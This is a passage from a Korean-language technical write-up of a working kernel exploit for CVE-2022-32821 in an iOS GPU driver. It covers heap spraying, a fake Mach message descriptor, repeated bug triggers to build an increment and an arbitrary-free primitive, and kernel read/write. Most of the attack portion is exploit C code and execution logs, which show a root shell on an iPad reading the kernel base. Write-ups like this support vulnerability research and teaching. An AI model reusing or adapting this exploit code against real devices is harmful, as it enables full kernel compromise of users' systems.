3-2. IORegistryCreateIterator 스프레이

취약점을 트리거하는데 앞서 AGXShared::create_mtllateevalevent에서 79줄과 82줄 코드에 의해 패닉이 발생하지 않고 무사히 커널함수 호출후 돌아가도록 생존하기 위해서 스프레이가 필요하다.

Screenshot 2026-01-28 at 11.19.16 PM.png

아래 코드를 통해 IORegistryIterator 오브젝트를 0x1c000 횟수만큼 충분히 스프레이한다.

uint64_t CPP_OBJ_PTR=0xffffffe0f98d8000;  //about 50%+ chance

int exploit(void) {
    ...
    // STEP 2: spray IORegistry_create_iterator
    //VTAB. FFFFFFF00714D988

    for(int i = 0; i < it_count; i++) {
		  it[i] = IORegistry_create_iterator();
	  }

#if ALWAYS_SURVIVE
    CPP_OBJ_PTR = tfp0_kread64(port_to_kobject(it[it_count-1000]) + 0x10);
    printf("cpp_obj_ptr = 0x%llx\n", CPP_OBJ_PTR);
#endif
    ...
}

mach_port_t IORegistry_create_iterator(void) {
	kern_return_t kr;
	io_iterator_t ite;
	kr = IORegistryCreateIterator(kIOMasterPortDefault, kIOServicePlane, 0, &ite);
	if (kr) {
        *(int *)1 = 0;
    }
	return ite;
}

그러면 스프레이했을때, 아래 그림과 같은 구조로 되어있을 것이다.

AGXShared::create_mtllateevalevent에서 79줄 코드에 의해 OSObject::retain(__ZNK8OSObject6retainEv)이 호출될 것이고, 82줄 코드에 의해 IORegistryIterator::getNextObjectFlat(__ZN18IORegistryIterator17getNextObjectFlatEv)이 호출될 것이다.

해당 2가지 함수들에 대해서는 커널 패닉방지/생존을 위해 임의로 호출하는것이므로, 어떤 기능을 수행하는지는 딱히 신경 안써도 된다.

Drawing 2026-01-28 22.36.09.excalidraw-fs8.png

3-3. kmsg 스프레이

**spray_default_kalloc_ool_ports**에 의해 ****default.kalloc.16384존으로부터 할당받은 OOL 포트 디스크립터를 나중에 임의로 할당해제하기 위해 준비한다. 기존 multicast_bytecopy 익스플로잇 코드를 참고하여 fake descriptor를 만들어주었다.

(mach_msg_ool_ports_descriptor_t)  (address = [임의로 해제시킬 OOL 포트 디스크립터 주소], deallocate = 0x00000000, copy = 0x00000000, disposition = 0x00000011, type = 0x00000002, count = ...)

kmsg가 변조되었는지 판단하기 위해 0x1337값과 vftable의 함수 호출을 통해 커널 패닉에서 생존하기 위해 CPP_OBJ_PTR값, 특정 분기로 브랜치되도록 0을 넣은 값 등이 있다.

얼핏 코드만 봐서는 왜 이렇게 데이터를 넣어주었는지, 이해하기 어려울 수 있다.

나중에 더 자세히 말하겠지만, 계획에 대해 간략히 설명하자면, 증가 프리미티프를 통해 kmsg가 변조되었음을 감지함에 따라 여러 kheap_data_ports들중에 손상시킬 수 있는 포트가 어느것에 해당되는지 먼저 확인한다. 그다음으로 mach_msg_body_tmsgh_descriptor_count를 0에서 1로 증가시킨다음, mach_msg_ool_ports_descriptor_tcount를 오버플로시켜 0x7f8로 만드는 것이 되겠다.

spray_data_kalloc_complex_kmsg_single 함수의 경우, spray_data_kalloc_kmsg_single 기존 함수와 크게 다르지 않다. msgh_bitsMACH_MSGH_BITS_COMPLEX만 추가시킨게 전부이다.

int exploit(void) {
    ...
    // STEP 3: spray kmsg (default.kalloc.0x4000 / data.kalloc.0x4000)
    // fake descriptor for free primitive
    memset(kheap_data_spray_buf, 0x42, 0x4000);
    memset(kheap_data_spray_buf, 0, sizeof(mach_msg_header_t));
    *(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 0;    //will be increased after trigger vuln
    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; // free primitive target
    
    // *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; // disposition, size, etc
    // deallocate = 0x00000000(false), copy = 0x00000000(MACH_MSG_PHYSICAL_COPY), disposition = 0x00000011(MACH_MSG_TYPE_MOVE_SEND), type = 0x00000002(MACH_MSG_OOL_PORTS_DESCRIPTOR)
    *(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x02110000;

    //ikm_header+0x20's value will be increased, +1
    // C++ vftable ptr to SURVIVE!
    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)) = CPP_OBJ_PTR; //written at ikm_header+0x30
    // should be 0 to branch loc_FFFFFFF005DC5118; com.apple.AGXG9P:__text:FFFFFFF005DC50D8 08 02 00 B4                             CBZ             X8, loc_FFFFFFF005DC5118
    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*2) = 0x0;   //written at ikm_header+0x38

    //Needed to make ikm_header+0x30's value overflowed to match with 0x7f8;
    // C++ vftable ptr to SURVIVE!
    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*3) = CPP_OBJ_PTR; //written at ikm_header+0x40
    // should be 0 to branch loc_FFFFFFF005DC5118; com.apple.AGXG9P:__text:FFFFFFF005DC50D8 08 02 00 B4                             CBZ             X8, loc_FFFFFFF005DC5118
    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*4) = 0x0;   //written at ikm_header+0x48

    // determine if corrupted kmsg
    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*5) = 0x1337133713371337; //written at ikm_header+0x50
    // C++ vftable ptr to SURVIVE!
    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*7) = CPP_OBJ_PTR; //written at ikm_header+0x60
    // should be 0 to branch loc_FFFFFFF005DC5118; com.apple.AGXG9P:__text:FFFFFFF005DC50D8 08 02 00 B4                             CBZ             X8, loc_FFFFFFF005DC5118
    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*8) = 0x0;   //written at ikm_header+0x68

    for (int i = 0; i < PORTS_COUNT; ++i) {
        // KHEAP_DATA_BUFFERS
        kheap_data_ports[i] = spray_data_kalloc_complex_kmsg_single(kheap_data_spray_buf, KMSG_SIZE);
    }
    for (int i = 0; i < PORTS_COUNT; ++i)
    {
        // KHEAP_DEFAULT
        *ool_ports = port_new();
        contained_ports[i] = *ool_ports;
        mach_port_t *pp = spray_default_kalloc_ool_ports(0x4000, 1, ool_ports);
        kheap_default_ports[i] = pp[0];
        free(pp);
    }   

    notif_port = port_new();
    for (int i = 0; i < PORTS_COUNT; ++i)
    {
        mach_port_t prev;
        mach_port_request_notification(mach_task_self(), contained_ports[i], MACH_NOTIFY_NO_SENDERS, 0, notif_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev);
        mach_port_deallocate(mach_task_self(), contained_ports[i]);
    }
    //STEP 3 end
    ...   
}

mach_port_t spray_data_kalloc_complex_kmsg_single(uint8_t *data, unsigned int size)
{
    mach_port_t port = MACH_PORT_NULL;
    mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
    mach_msg_header_t *msg = (mach_msg_header_t *)data;
    
    memset(msg, 0, sizeof(mach_msg_header_t));
    msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->msgh_bits  |= MACH_MSGH_BITS_COMPLEX;
    msg->msgh_size = size;
    
    mach_port_construct(mach_task_self(), &options, 0, &port);

    msg->msgh_remote_port = port;
    mach_msg_send(msg);
    
    return port;
}

kmsg를 스프레이했을때 다음과 같이 구성될 것이다.

(각 영역에 대해 색을 칠해놓았지만, 여전히 보기엔 쉽지 않다.)

Drawing 2026-01-28 23.58.48.excalidraw-fs8.png

4. 첫번째 버그 트리거: kheap_data_ports들중에 어느 포트가 영향을 미치는지 알아내기

이제 버그를 트리거하면, 여러 kheap_data_ports 포트들중 하나의 포트에 해당되는 kmsg의 일부 데이터가 손상되었을 것이다. 정확히 말하자면, kmsg 데이터 중 0x1337… 값을 적어둔 곳이 1증가 되었을 것이다. (0x1337133713371338)

따라서 여러 kheap_data_ports 포트들중에 kmsg가 손상된 하나의 포트를 확인하기 위해, 각 포트들에 대한 메시지를 수신한다. 메시지를 수신했을때, 0x1337133713371337값과 일치하지 않는다면, 해당 포트는 취약점을 통해 우리가 제어할 수 있는 포트라고 판단할 수 있다. 그리고 다시한번 kheap_data_spray_buf 데이터로 메시지를 전송시켜 kmsg 데이터를 유지시켜준다.

int exploit(void) {
    ...
    // STEP 4: Trigger vuln; will increase value in ikm_header+0x50 and determine which kmsg has been corrupted
    // 아이디어: port_receive_msg로 어떤포트를 컨트롤하는지 알아낸다음, 해당 포트를 유지한채 다시 매시지를 전송시켜 제대로 컨트롤하기 
    io_connect_t uc = IOGPU_init();
	for (int i = 0; i < 2048; ++i)
		IOGPU_create_mtllateeventevent(uc);
	IOGPU_create_mtllateeventevent(uc); //real trigger

    uint8_t msg_buf[0x4000];
    mach_port_t arb_free_holder = MACH_PORT_NULL;
    for (int i = 0; i < PORTS_COUNT; ++i) {
        memset(msg_buf, 0, KMSG_SIZE);
        port_receive_msg(kheap_data_ports[i], msg_buf, sizeof(msg_buf));

        if(*(uint64_t*)(msg_buf + 0x48) != 0x1337133713371337) {
            printf("kheap_data_idx: %08X\n", i);
            kheap_data_idx = i;
            arb_free_holder = kheap_data_ports[kheap_data_idx];

            send_data_kalloc_complex_kmsg_single(arb_free_holder, kheap_data_spray_buf, KMSG_SIZE); //resend
            break;
        }
    }
    printf("Survived, Determined which kmsg has been corrupted!\n");
    ...
}

uint32_t IOGPU_create_mtllateeventevent(io_connect_t uc)
{
    uint64_t Output[2] = {0};
    uint64_t OutputCount = 2;

    kern_return_t kr = IOConnectCallMethod(uc, 29, 0, 0, 0, 0, Output, &OutputCount, 0, 0);

    if (kr)
        return 0;
    
    return 1;
}

void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int n)
{
    mach_msg((mach_msg_header_t *)buf,
              MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
              0,
              n,
              p,
              0,
              0);
}

mach_port_t send_data_kalloc_complex_kmsg_single(mach_port_t port, uint8_t *data, unsigned int size)
{
    mach_msg_header_t *msg = (mach_msg_header_t *)data;
    
    memset(msg, 0, sizeof(mach_msg_header_t));
    msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->msgh_bits  |= MACH_MSGH_BITS_COMPLEX;
    msg->msgh_size = size;

    msg->msgh_remote_port = port;
    mach_msg_send(msg);
    
    return port;
}
  • 실행 결과
...
kheap_data_idx: 00000BED
Survived, Determined which kmsg has been corrupted!

버그를 트리거했을때, 어떻게 수행되는지 더 구체적으로 알아보자.

파이프 스프레이를 통해 v18을 임의로 조작함으로써 증가 프리미티브를 위한 v19 또한 제어할 수 있다. AGXShared::create_mtllateevalevent 에서 결과적으로 아래와 같이 수행된다.

  • OSObject::retain 호출 (커널 함수 호출 중 패닉에서 생존하기 위함)
  • 특정 커널 주소인 (0xffffffe37da60000+0x50)에 저장된 값을 1증가시킴. 이는 추후 여러 kheap_data_ports 포트들중에 어느 포트가 손상되었는지 구분하기 위함.
  • IORegistryIterator::getNextObjectFlat 호출 (커널 함수 호출 중 패닉에서 생존하기 위함)
  • v20 값은 0이기 때문에 LABEL_16으로 브랜치됨 (불필요한 동작 및 커널 패닉 방지 위함)

증가 프리미티프가 어느 곳에 영향을 미치는지, 그림에서 빨간색 부분을 자세히 들여다보면 좋을 듯 싶다.

그 외에도 주황색 부분과 하늘색 부분을 들여다보면, 여전히 복잡하긴 하지만, 커널 함수 호출 중 패닉에서 생존하기 위해 어느 곳을 가리켜서 호출을 수행하는지 알 수 있을 것이다.

Drawing 2026-01-29 01.35.17.excalidraw-fs8.png

5. 두번째 버그 트리거: mach_msg_body_t’s msgh_descriptor_count를 1로 증가시키기

free primitive를 하기 위해 fake descriptor를 kmsg에 적어둔 것을 기억하는가?

mach_port_destroy를 호출함으로써, 거기에 적어둔 OOL 디스크립터 포트 주소가 임의 할당해제가 가능하게끔 만들려면, msgh_descriptor_count를 1 증가시켜야 한다.

ipc_kmsg_clean에서 보다시피 ipc_kmsg_clean_body를 호출할때 2번째 매개변수에 msgh_descriptor_count가 들어감으로써 제대로 할당해제를 수행할 수 있기 때문이다.

// xnu-8019.41.5/osfmk/ipc/ipc_kmsg.c:1842
static void
ipc_kmsg_clean(
	ipc_kmsg_t      kmsg)
{
	ipc_object_t object;
	mach_msg_bits_t mbits;

	/* deal with importance chain while we still have dest and voucher references */
	ipc_importance_clean(kmsg);

	mbits = kmsg->ikm_header->msgh_bits;
	object = ip_to_object(kmsg->ikm_header->msgh_remote_port);
	
	...

	if (mbits & MACH_MSGH_BITS_COMPLEX) { // <- THIS !!!!!
		mach_msg_body_t *body;

		body = (mach_msg_body_t *) (kmsg->ikm_header + 1);
		ipc_kmsg_clean_body(kmsg, body->msgh_descriptor_count,
		    (mach_msg_descriptor_t *)(body + 1));
	}
}
// xnu-8019.41.5/osfmk/ipc/ipc_kmsg.c:1687
static void
ipc_kmsg_clean_body(
	__unused ipc_kmsg_t     kmsg,
	mach_msg_type_number_t  number,
	mach_msg_descriptor_t   *saddr)
{
	mach_msg_type_number_t      i;

	if (number == 0) {
		return;
	}

	for (i = 0; i < number; i++, saddr++) {
		switch (saddr->type.type) {
		...
		case MACH_MSG_OOL_PORTS_DESCRIPTOR: /* 2 */{
			ipc_object_t                    *objects;
			mach_msg_type_number_t          j;
			mach_msg_ool_ports_descriptor_t *dsc;

			dsc = (mach_msg_ool_ports_descriptor_t  *)&saddr->ool_ports;
			objects = (ipc_object_t *) dsc->address;

			if (dsc->count == 0) {
				break;
			}

			assert(objects != (ipc_object_t *) 0);

			/* destroy port rights carried in the message */

			for (j = 0; j < dsc->count; j++) {
				ipc_object_t object = objects[j];

				if (!IO_VALID(object)) {
					continue;
				}

				ipc_object_destroy(object, dsc->disposition);
			}

			/* destroy memory carried in the message */

			assert(dsc->count != 0);

			kfree_type(mach_port_t, dsc->count, dsc->address);
			break;
		}
		...
		default:
			panic("invalid descriptor type: (%p: %d)",
			    saddr, saddr->type.type);
		}
	}
}

파이프 버퍼 데이터를 다시 한번 제어함으로써 이번에는 msgh_descriptor_count값을 1로 증가 프리미티브를 수행 가능하게끔 만든다.

int exploit(void) {
    ...
    // STEP 5: Trigger vuln; will increase mach_msg_body_t's msgh_descriptor_count count
    x8 = (KHEAP_DATA_MAPPABLE_LOC+0x20);  // x8 will be Pointed here.  //com.apple.AGXG9P:__text:FFFFFFF005DC508C     LDR X0, [X8,#0x10]
    memset_pattern8(pipe_buffer, &x8, pipe_buffer_size);
    for(int i = 0; i < pipe_count; i++) {
        read(pipefds[2 * i], recv_buf, pipe_buffer_size);
        write(pipefds[2 * i + 1], pipe_buffer, pipe_buffer_size-1);
    }
    IOGPU_create_mtllateeventevent(uc);
    printf("Increased mach_msg_body_t's msgh_descriptor_count to 1\n");
    ...
}

여전히 커널 함수 호출 중 패닉에서 생존하기 위해 같은 곳, 즉 같은 함수를 호출하도록 가리키되, 증가 프리미티프는 이제 msgh_descriptor_count 값이 저장된 주소를 향해 수행된다.

Drawing 2026-01-29 01.35.17.excalidraw 1-fs8.png

6. 세번째 버그 트리거: mach_msg_ool_ports_descriptor_t의 count를 오버플로우시켜 0x7F8로 만들기

마지막으로 이제 mach_msg_ool_ports_descriptor_tcount 값을 0x7F8로 만드는 일만 남았다.

3-3 과정에서 올린 그림을 보면 알다시피, 현재 0xfa0997c 값으로 되어있다.

0xffffffe37da60024: 0xffffffe375bd0000 0xfa0997c002110000 <- count = 0xfa0997c
0xffffffe37da60034: 0x00000000ffffffe0 0xfa0997c000000000

멀티쓰레드로 여러번 버그를 트리거 및 증가 프리미티브를 수행하여, 오버플로우되면서 0x7F8로 만들어줄 수 있다. 대신에 약 3분정도 시간이 꽤 걸린다.

int exploit(void) {
    ...
    // STEP 6: Overflowing to make mach_msg_ool_ports_descriptor_t's count = 0x7F8;
    printf("Overflowing mach_msg_ool_ports_descriptor_t's count to make 0x7f8...\n");
    x8 = (KHEAP_DATA_MAPPABLE_LOC+0x30);  // x8 will be Pointed here.  //com.apple.AGXG9P:__text:FFFFFFF005DC508C     LDR X0, [X8,#0x10]
    memset_pattern8(pipe_buffer, &x8, pipe_buffer_size);
    for(int i = 0; i < pipe_count; i++) {
        read(pipefds[2 * i], recv_buf, pipe_buffer_size);
        write(pipefds[2 * i + 1], pipe_buffer, pipe_buffer_size-1);
    }
    
    uint32_t cpp_obj_ptr_32 = CPP_OBJ_PTR & 0xFFFFFFFF;
    uint64_t make_overflow_count = 0xFFFFFFFF - cpp_obj_ptr_32 + 1;
    printf("make_overflow_count = 0x%llx\n", make_overflow_count);
    uint64_t iter = make_overflow_count + 0x7F8;
    
    pthread_t pt1;
    pthread_t pt2;
    pthread_attr_t pattr;
    pthread_attr_init(&pattr);
    pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0);

    thread_args_t *args1 = (thread_args_t *)malloc(sizeof(thread_args_t));
    thread_args_t *args2 = (thread_args_t *)malloc(sizeof(thread_args_t));
    args1->iter_count = (iter / 2);
    args1->uc = uc;
    args2->iter_count = (iter - (iter / 2));
    args2->uc = uc;

    pthread_create(&pt1, &pattr, (void *(*)(void *))trigger_vuln, (void *)args1);
    pthread_create(&pt2, &pattr, (void *(*)(void *))trigger_vuln2, (void *)args2);
    pthread_join(pt1, NULL);
    pthread_join(pt2, NULL);
    free(args1);
    free(args2);
    pthread_attr_destroy(&pattr);
    printf("Made mach_msg_ool_ports_descriptor_t's count to 0x7F8\n");
    ...
}

typedef struct {
    uint64_t iter_count;
    io_connect_t uc;
} thread_args_t;

void *trigger_vuln(void *arg) {
    thread_args_t *args = (thread_args_t *)arg;
    uint64_t iter = args->iter_count;
    io_connect_t uc = args->uc;

    for(uint64_t i = 0; i < iter; i++) {
        uint64_t remaining = iter - i;
        if (remaining % 1000000 == 0) {
            printf("[Thread 1 Remaining]: %llu\n", remaining);
        }

        IOGPU_create_mtllateeventevent(uc);
    }
    
    return NULL;
}

void *trigger_vuln2(void *arg) {
    thread_args_t *args = (thread_args_t *)arg;
    uint64_t iter = args->iter_count;
    io_connect_t uc = args->uc;

    for(uint64_t i = 0; i < iter; i++) {
        uint64_t remaining = iter - i;
        if (remaining % 1000000 == 0) {
            printf("[Thread 2 Remaining]: %llu\n", remaining);
        }

        IOGPU_create_mtllateeventevent(uc);
    }
    
    return NULL;
}
  • 실행 결과
...
[Thread 1 Remaining]: 2000000
[Thread 2 Remaining]: 2000000
[Thread 1 Remaining]: 1000000
[Thread 2 Remaining]: 1000000
Made mach_msg_ool_ports_descriptor_t's count to 0x7F8

그림으로 나타내자면, 다음과 같다.

증가 프리미티브가 영향을 미치는곳은 이제 mach_msg_ool_ports_descriptor_tcount 값이 된다.

Drawing 2026-01-29 01.35.17.excalidraw 1 1-fs8.png

7. exploitation_get_krw_with_arb_free

int exploit(void) {
    ...
    // STEP 7: generic exploitation using arbitrary free
    uint64_t kernel_base = 0;
    exploitation_get_krw_with_arb_free(arb_free_holder, &kernel_base);
    
    // STEP 8: test kernel r/w, read kernel base
    uint32_t mh_magic = kread32(kernel_base);
    if (mh_magic != 0xFEEDFACF)
    {
        printf("mh_magic != 0xFEEDFACF: %08X\n", mh_magic);
        return 1;
    }
    printf("kread32(kernel_base) success: %08X\n", mh_magic);
    ...
}

8. exploitation_cleanup

int exploit(void) {
    ...
    // STEP 9: cleanup
    // generic exploitation cleanup (kernel r/w still active)
    exploitation_cleanup();
    
    return 0;
}

실행 결과

ssh [email protected] -p22224
([email protected]) Password for root@iPad7-150:
iPad7-150:~ root# CVE-2022-32821 
tfp0 ret: 0x0 ((os/kern) successful)
kext_name: com.apple.kec.corecrypto
kext_addr_slid: 0xfffffff01fc632c0
tfp0 = 0x903
gKernelBase = 0xfffffff021ab0000, gKernelSlide = 0x1aaac000
cpp_obj_ptr = 0xffffffe0fa720690
make_overflow_count = 0x58df970
kheap_data_idx: 00000A92
Survived, Determined which kmsg has been corrupted!
Increased mach_msg_body_t's msgh_descriptor_count to 1
Overflowing mach_msg_ool_ports_descriptor_t's count to make 0x7f8...
Remaining iterations: 93000000
Remaining iterations: 92000000
Remaining iterations: 91000000
Remaining iterations: 90000000
Remaining iterations: 89000000
Remaining iterations: 88000000
Remaining iterations: 87000000
Remaining iterations: 86000000
Remaining iterations: 85000000
Remaining iterations: 84000000
Remaining iterations: 83000000
Remaining iterations: 82000000
Remaining iterations: 81000000
Remaining iterations: 80000000
Remaining iterations: 79000000
Remaining iterations: 78000000
Remaining iterations: 77000000
Remaining iterations: 76000000
Remaining iterations: 75000000
Remaining iterations: 74000000
Remaining iterations: 73000000
Remaining iterations: 72000000
Remaining iterations: 71000000
Remaining iterations: 70000000
Remaining iterations: 69000000
Remaining iterations: 68000000
Remaining iterations: 67000000
Remaining iterations: 66000000
Remaining iterations: 65000000
Remaining iterations: 64000000
Remaining iterations: 63000000
Remaining iterations: 62000000
Remaining iterations: 61000000
Remaining iterations: 60000000
Remaining iterations: 59000000
Remaining iterations: 58000000
Remaining iterations: 57000000
Remaining iterations: 56000000
Remaining iterations: 55000000
Remaining iterations: 54000000
Remaining iterations: 53000000
Remaining iterations: 52000000
Remaining iterations: 51000000
Remaining iterations: 50000000
Remaining iterations: 49000000
Remaining iterations: 48000000
Remaining iterations: 47000000
Remaining iterations: 46000000
Remaining iterations: 45000000
Remaining iterations: 44000000
Remaining iterations: 43000000
Remaining iterations: 42000000
Remaining iterations: 41000000
Remaining iterations: 40000000
Remaining iterations: 39000000
Remaining iterations: 38000000
Remaining iterations: 37000000
Remaining iterations: 36000000
Remaining iterations: 35000000
Remaining iterations: 34000000
Remaining iterations: 33000000
Remaining iterations: 32000000
Remaining iterations: 31000000
Remaining iterations: 30000000
Remaining iterations: 29000000
Remaining iterations: 28000000
Remaining iterations: 27000000
Remaining iterations: 26000000
Remaining iterations: 25000000
Remaining iterations: 24000000
Remaining iterations: 23000000
Remaining iterations: 22000000
Remaining iterations: 21000000
Remaining iterations: 20000000
Remaining iterations: 19000000
Remaining iterations: 18000000
Remaining iterations: 17000000
Remaining iterations: 16000000
Remaining iterations: 15000000
Remaining iterations: 14000000
Remaining iterations: 13000000
Remaining iterations: 12000000
Remaining iterations: 11000000
Remaining iterations: 10000000
Remaining iterations: 9000000
Remaining iterations: 8000000
Remaining iterations: 7000000
Remaining iterations: 6000000
Remaining iterations: 5000000
Remaining iterations: 4000000
Remaining iterations: 3000000
Remaining iterations: 2000000
Remaining iterations: 1000000
Made mach_msg_ool_ports_descriptor_t's count to 0x7F8
kheap_default_idx: 00000BDC
Test kwrite32 and kread32: 0000FEED (should be 0000FEED)
Get kernel base...

Got kernel base: 0xfffffff021ab0000
kread32(kernel_base) success: FEEDFACF

iPad7-150:~ root# 
iPad7-150:~ root# 

시연 영상

https://www.youtube.com/watch?v=-JZDTxGVFps

참고 자료

https://github.com/potmdehex/slides/blob/main/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf

https://github.com/potmdehex/slides/blob/main/Hexacon_2022_More_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf

https://github.com/potmdehex/multicast_bytecopy